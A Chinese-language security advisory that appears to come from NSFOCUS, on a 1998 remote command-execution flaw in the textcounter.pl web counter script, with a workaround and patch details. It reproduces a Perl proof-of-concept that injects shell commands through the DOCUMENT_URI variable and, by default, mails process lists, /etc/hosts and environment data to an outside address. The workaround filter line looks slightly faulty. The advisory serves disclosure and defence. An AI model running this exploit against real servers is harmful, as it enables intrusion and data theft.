安全研究

安全漏洞
Matt Wright textcounter.pl远程执行命令漏洞

发布日期:1998-06-24
更新日期:1998-06-24

受影响系统:
Matt Wright TextCounter 1.2
不受影响系统:
Matt Wright TextCounter 1.2.1
描述:
textcounter.pl是一个由Matt Wright编写的基于Web的记数器脚本,使用比较广泛。

某些早期版本的textcounter.pl脚本实现上存在输入验证漏洞,远程攻击者可以利用此漏洞以httpd进程的权限在主机上执行任意系统命令。

问题在于程序脚本没有过滤用户输入中包含的一些特殊字符,远程攻击者可以向$DOCUMENT_URI环境变量注入指定的值,脚本在处理的时候就会以Web守护程序的权限(root或nobody)在主机上执行攻击者指定的任意命令。


<*来源:Doru Petrescu (pdoru@kappa.ro
  
  链接:http://online.securityfocus.com/archive/1/9609
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Doru Petrescu (pdoru@kappa.ro)提供了如下测试代码:

-- cut here --

#!/usr/bin/perl

$URL='http://dtp.kappa.ro/a/test.shtml';    # please _DO_ _modify_ this
$EMAIL='pdoru@pop3.kappa.ro,root';          # please _DO_ _modify_ this


if ($ARGV[0]) {
   $CMD=$ARGV[0];
}else{
   $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
}

$text="${URL}/;IFS=\8;${CMD};echo|";
$text =~ s/ /\$\{IFS\}/g;

#print "$text\n";

system({"wget"} "wget", $text, "-O/dev/null");
system({"wget"} "wget", $text, "-O/dev/null");
#system({"lynx"} "lynx", $text);
#system({"lynx"} "lynx", $text);     # if you don't have "wget"
                                  # you can try with "Lynx"

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 编辑textcounter.pl脚本,加入过滤代码。

$count_page = "$ENV{'DOCUMENT_URI'}"; # 原来文件中的第91行
$count_page =~ s/([^a-z0-9])/sprintf("%%%02X",$1)/ge; # 插入此行

厂商补丁:

Matt Wright
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Matt Wright TextCounter 1.2:
Matt Wright Upgrade TextCounter 1.2.1

浏览次数:18526
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障